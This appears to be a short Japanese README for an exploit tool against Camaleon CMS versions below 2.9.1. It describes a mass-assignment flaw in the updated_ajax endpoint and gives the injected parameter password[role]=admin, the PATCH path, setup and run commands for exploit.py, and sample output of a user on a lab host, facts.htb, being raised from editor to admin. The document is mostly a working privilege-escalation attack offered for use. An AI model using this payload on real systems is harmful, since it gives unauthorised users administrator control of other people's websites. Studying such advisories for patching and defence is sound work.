
Camaleon CMS 2.9.1 未満における権限昇格の脆弱性.
Camaleon CMS < 2.9.1 における権限昇格の脆弱性。
UsersControllerのupdated_ajaxエンドポイントは、フィルタリングなしでparams.require(:password).permit!を呼び出しており、任意のパラメータが大量代入される可能性があります。認証された低権限ユーザーが、パスワード変更リクエストにpassword[role]=adminを注入することで管理者に昇格できます。
password[role]=admin を注入した PATCH リクエストを /admin/users/<id>/updated_ajax に送信します。python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4
python3 exploit.py http://TARGET -u USER -p PASS
例:
$ python3 exploit.py http://facts.htb -u esteban -p password123
[*] Logging in as esteban...
[+] Logged in successfully
[*] User ID: 3, current role: editor
[*] Sending exploit payload...
[+] Privilege escalation successful! User is now admin.
[+] Login at http://facts.htb/admin with your credentials.